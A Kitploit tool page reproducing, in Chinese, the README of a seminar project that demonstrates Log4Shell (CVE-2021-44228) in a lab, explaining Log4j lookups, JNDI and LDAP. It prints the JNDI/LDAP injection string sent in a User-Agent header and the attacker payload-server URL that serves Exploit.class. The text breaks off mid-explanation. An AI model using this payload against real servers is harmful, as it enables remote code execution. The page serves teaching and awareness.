Skip to content
KitploitKITPLOIT
工具漏洞利用博客
Log in
提交
工具漏洞利用博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

订阅源联系隐私© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
hka-seminar-log4shell — Log4Shell安全漏洞(CVE-2021-44228)的实践演示 | Kitploit
工具/GitHubGitHub/fabioeletto/hka-seminar-log4shell
漏洞分析漏洞利用Web应用程序漏洞利用渗透测试学习与教育实验室与实践
GitHubfabioeletto/hka-seminar-log4shell

hka-seminar-log4shell

Log4Shell安全漏洞(CVE-2021-44228)的实践演示

查看仓库
11年前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

Seminararbeit - Log4Shell漏洞演示 (CVE-2021-44228)

安全提示

本仓库仅供教育和演示用途,用于安全相关的研讨会论文。请勿在生产环境中或未经明确许可的情况下对系统使用此代码。该构建旨在提升安全意识,并展示当看似无害的功能(如日志记录、名称解析和动态类加载)组合在一起时,可能产生复杂漏洞。

目录

  • 1. 项目描述

    • 1.1 研讨会论文目标
    • 1.2 演示概述
  • 2. 什么是 Log4Shell?

  • 3. 技术组件详解

    • 3.1 Log4j - 工作原理
    • 3.2 JNDI - 查找机制
    • 3.3 LDAP - 结构与作用
    • 3.4 Log4Shell 一般流程
  • 4. 项目结构与搭建

    • 4.1 目录概览
    • 4.2 前提条件
    • 4.3 搭建步骤
  • 5. 项目演示

  • 6. 防护措施

  • 7. 结论

  • 8. 参考来源

1. 项目描述

1.1 研讨会论文目标

本研讨会论文旨在深入理解 Log4Shell 安全漏洞(CVE-2021-44228),该漏洞于 2021 年 12 月公开,并被列为近年来最关键的漏洞之一。论文既解释了理论基础,也展示了漏洞的实际演示。

1.2 演示概述

为了直观展示 Log4Shell 安全漏洞,本仓库搭建了一个隔离的、容器化的环境,可复现完整的攻击流程。演示基于三个核心组件:

  • vulnerable-app:一个刻意配置了 Log4j 2.14.1 版本的易受攻击的 Spring Boot 应用程序。它会记录 HTTP 请求中的 User-Agent 头,攻击者可操纵该头以利用漏洞。
  • ldap-server:知名工具 marshalsec 的一个分支,充当 LDAP 服务器。此服务器受攻击者控制,提供对后续执行的恶意 Java 类的引用。
  • payload-server:一个简单的 HTTP 服务器,提供恶意 Java 类(Exploit.class)。与 LDAP 服务器一样,此服务器也受攻击者控制。

提示: 有关演示的搭建与运行详情,请参见第 4 节 项目结构与搭建和第 5 节 项目演示。

2. 什么是 Log4Shell?

Log4Shell 是 Java 库 Log4j 中一个关键安全漏洞的名称,编号为 CVE-2021-44228。它允许攻击者以极低代价在远程服务器上执行任意代码(远程代码执行,简称 RCE)。

该漏洞影响 Log4j 2.0 到 2.14.1 版本,其严重性导致包括德国联邦信息安全办公室(BSI)在内的许多安全机构将其列为最高风险等级。

Log4Shell 之所以特别危险,是因为:

  • Log4j 使用极为广泛,从游戏服务器到企业应用都在使用。
  • 无需身份验证,任何匿名的外部攻击者都有可能造成损害。
  • 攻击向量极为简单,通常只需向应用程序发送一个经过篡改的字符串。
  • Log4j 中用于利用此漏洞的功能默认是启用的。

其根本原因在于 Log4j 的一项功能,允许通过所谓的查找(Lookups)在日志消息中加载动态内容。结合 JNDI(Java 命名和目录接口) 和 LDAP(轻量级目录访问协议) 协议,这允许加载并执行远程的恶意 Java 类。

该漏洞的发现与披露在全球引发了安全浪潮。许多系统必须立即打补丁或关闭。随后又出现了其他相关漏洞(例如 CVE-2021-45046),这表明该问题的深度与危险性。

下面将详细解释所涉及的技术及其相互配合,以增进对漏洞的深入理解。

3. 技术组件详解

3.1 Log4j - 工作原理

Log4j 是 Apache 创建的一个用于在 Java 应用程序中记录事件的日志库。日志记录是软件开发中监控系统或分析错误的核心工具。Log4j 是 Java 生态系统中最为知名、使用最广泛的日志框架之一,既用于小型应用程序,也用于大型企业系统。

为何需要日志记录?

在程序运行过程中,例如会出现以下事件:

  • 用户请求
  • 内部状态变更
  • 错误消息

这些事件可以通过日志记录下来,通常以文本形式输出到控制台、文件或通过网络协议发送到中央日志服务器。合理的日志记录可以追溯应用程序在何时做了什么。

Log4j 提供了什么?

Log4j 提供了一个灵活、高度可配置的基础设施,用于生成和处理日志消息。核心功能包括:

  • 日志级别:存在不同的重要级别(例如 DEBUG、INFO、WARN、ERROR),可用于控制日志的详细程度。
  • Appenders:日志输出可以定向到不同目标(例如控制台、文件或远程服务器)。
  • Layouts:通过布局可以定义日志消息的格式(例如时间戳、线程、消息)。

其他与研讨会论文相关的功能将在后续章节中讨论,尤其是占位符功能和查找功能。

简单示例```java

import org.apache.logging.log4j.LogManager; import org.apache.logging.log4j.Logger;

public class Example { private static final Logger logger = LogManager.getLogger();

public static void main(String[] args) {
    logger.info("Starte Anwendung...");
}

}

在这个简单的例子中,会创建或获取一个已经存在的Logger实例。接着,在`INFO`级别输出一条日志消息。Log4j根据配置负责消息的格式化和输出。一个示例配置可能如下所示:```xml
<Configuration status="WARN">
    <Appenders>
        <Console name="Console" target="SYSTEM_OUT">
            <PatternLayout pattern="%d{yyyy-MM-dd HH:mm:ss} %-5p %c{1} - %m%n"/>
        </Console>
    </Appenders>
    <Loggers>
        <Root level="info">
            <AppenderRef ref="Console"/>
        </Root>
    </Loggers>
</Configuration>

这段配置定义了一个附加器(Appender),它以 Datum Uhrzeit Log-Level Loggername - Nachricht 的格式在控制台输出日志消息。该附加器随后被分配给根日志记录器(Root Logger),后者处理所有级别为 INFO 及以上的日志消息。

输出可能如下所示:``` 2023-10-01 12:00:00 INFO Example - Starte Anwendung...

首先,我们来看一下Log4j中与Log4Shell安全漏洞最相关的具体特性。

#### 日志消息中的占位符

Log4j一个特别有用的特性是支持日志消息中的**占位符**。这样可以在运行时将动态内容插入到日志输出中:```java
String username = "Alice";
logger.info("Benutzer angemeldet: {}", username);

在此过程中,在运行时将 {} 替换为变量 username 的实际值。这将产生以下输出:```text "Benutzer angemeldet: Alice"

#### 动态表达式(即 Lookups)

除了简单的占位符,Log4j 还提供了直接在日志消息中解析更复杂表达式的功能。此功能称为 **Lookup**:它允许在运行时动态插入值(例如环境变量、系统信息或配置值)。

此类动态表达式的示例:

- `${env:HOME}` - 返回环境变量 `HOME` 的值。在 Linux / macOS 下,例如 `/home/username`。
- `${docker:...}` - 可能提供运行应用程序的 Docker 容器的相关信息。
- `${jndi:...}` - 执行 JNDI 查找以加载内部或外部资源。

下一节将更详细地探讨 JNDI 功能,因为它在 Log4Shell 安全漏洞中扮演着核心角色。

### 3.2 JNDI - Lookup 机制

**JNDI** 是 _Java Naming and Directory Interface_ 的缩写,是一种标准化的 Java API,允许访问**命名和目录服务**。借助 JNDI,Java 应用程序可以通过符号名称而不是技术路径来引用资源。

JNDI 的一个典型用途是查找数据库连接,您可以看到如下示例:```java
public class JndiExample {
    public static void main(String[] args) throws Exception {
        InitialContext ctx = new InitialContext();
        Datasource ds = (DataSource) ctx.lookup("java:/comp/env/jdbc/myDB");
        // Datenbankverbindung verwenden
    }
}

首先创建一个InitialContext,它代表使用JNDI进行名称解析的入口点。接着通过lookup方法查找一个资源,此例中是一个符号名为java:/comp/env/jdbc/myDB的数据源(DataSource)。

JNDI有哪些优势?

  • 应用程序与基础设施解耦:配置无需写在代码中,而是可以在服务器上集中管理。
  • 可重用性与可移植性:应用程序可以轻松地在多个环境(如开发、测试、生产)中运行,无需修改代码,只需调整相应的配置文件即可。
  • 灵活性:JNDI与协议无关,仅提供接口,实际的通信由后台的所谓服务提供商(Service Provider)负责。因此,JNDI不仅可以访问LDAP,还能访问RMI、DNS、CORBA等多种服务。

JNDI的结构

JNDI结构

Java应用程序使用JNDI的协议无关接口,其中包含如InitialContext这样的类,以及lookup方法。无论使用LDAP、DNS还是其他协议,API始终相同。命名管理器(Naming Manager)充当中介,选择合适的服务提供商(Service Provider)来负责实际通信。JNDI SPI(服务提供者接口)是一组类,实现了针对不同协议的JNDI功能。在我们的场景中,相关的服务提供商是LDAP。

下一节我们将更详细地了解服务提供商LDAP。

3.3 LDAP – 结构与角色

LDAP 是轻量级目录访问协议(Lightweight Directory Access Protocol)的缩写,是一种标准化的网络协议,用于访问所谓的目录服务。它最初作为X.500的轻量级替代方案而开发,现已成为许多企业网络中的标准,尤其用于集中式的用户和权限管理。

什么是目录服务?

目录服务是一种结构化的数据库,以层次化形式存储信息。与关系型数据库不同,目录具有以下特点:

  • 更偏向读操作
  • 高度层次化(类似文件系统)
  • 针对快速访问身份或配置数据进行了优化

LDAP目录的结构

LDAP树

如图所示,LDAP目录采用树状结构组织。根级别是域组件(dc)。其下可以有组织单元(ou),表示进一步的细分,例如Users。对于单个用户或对象,则有通用名称(cn),用于标识具体条目,并可包含多个属性。

含义:

  • dn:可分辨名称(Distinguished Name)
  • dc:域组件(Domain Component)
  • ou:组织单元(Organizational Unit)
  • cn:通用名称(Common Name)

接下来,我们看看如何访问LDAP,以及它在Log4Shell漏洞中所扮演的角色。

如何访问LDAP?

在LDAP中,也可以存储指向外部类的引用,这些类可在需要时动态加载。这是通过特殊属性如javaClassName和javaCodeBase实现的。这些属性可以指向一个URL,从该URL加载一个Java类。

例如,以下URL可以查询一个指向Java类的对象:``` ldap://ldap-server:1389/Exploit

![LDAP-Exploit-条目](https://assets.kitploit.com/production/public/readmes/25332/c60420b9b33a1189fd949bcf725f4ca7c3d4bdcd25f03cd50b715ceac5f95d24.png)

如图所示,LDAP 条目包含一个 `javaClassName` 属性,指向 `Exploit` 类。通过 `javaCodeBase` 属性指定了加载该类的 URL,本例中是一个地址为 `http://payload-server/` 的 HTTP 服务器,提供 `Exploit.class` 文件。

至此,我们已经详细查看了所有技术组件。下一节将描述 Log4Shell 安全漏洞的总体流程,以理解这些技术如何协同工作以及由此产生的攻击向量。

### 3.4 Log4Shell 的一般流程

在分别考察了 **Log4j**(日志框架)、**JNDI**(目录服务接口)和 **LDAP**(具体目录服务)这三种相关技术之后,现在可以清楚地看到,如果没有采取安全措施,它们的组合可能有多么危险。

在 Log4j 版本 2.14.1 及之前,可以直接在日志消息中解析所谓的 **Lookups**(查找)。这使得可以通过 LDAP 嵌入 JNDI 查询,从而无需显式启用该功能,就能从远程服务器加载并执行任意 Java 类。

#### 具体交互场景:

现在我们将刚刚学到的知识应用于一个具体示例。第一步,我们使用以下表达式启动一个 JNDI 查找:```text
${jndi:...}

现在,我们使用LDAP服务提供程序来加载一个远程Java类 ldap://ldap-server:1389/Exploit。结合起来,得到以下字符串:```text ${jndi:ldap://ldap-server:1389/Exploit}

现在,攻击者只需确保这个字符串进入日志消息,例如通过操纵HTTP头。

![Log4Shell-Ablauf](https://assets.kitploit.com/production/public/readmes/25332/ddb8ced01e0021cba8c16ee86816856e4b81aeccee27832fe7489f4fc4cccfab.png)

如图所示,左侧是攻击者,他托管自己的LDAP服务器和Payload服务器。右侧是使用Log4j版本2.14.1的易受攻击的应用程序。攻击流程如下:

1. 攻击者向应用程序发送HTTP请求,并将上述被操纵的字符串填入例如`User-Agent`头中:   ```http
   User-Agent: ${jndi:ldap://ldap-server:1389/Exploit}
  1. 应用程序记录 User-Agent 头部: ```java logger.info("User-Agent: {}", request.getHeader("User-Agent"));

Log4j 识别 ${jndi:...} 并自动通过指定的协议 ldap 执行一个 JNDI 查找

  1. 现在调用 LDAP 服务提供者,以解析指定的 URL ldap://ldap-server:1389/Exploit。

  2. LDAP 服务器响应一个指向外部 Java 类 (Exploit.class) 的引用,该类位于以下服务器上: ``` http://payload-server:8000/Exploit.class

  3. 应用程序向 Payload 服务器发送请求,以加载 Exploit.class。

  4. Payload 服务器以 Java 类 Exploit.class 进行响应。随后,该类将在没有任何验证的情况下被执行。因此,攻击者可以完全控制在易受攻击服务器上执行的代码。

为什么这有效?

因为:

下载工具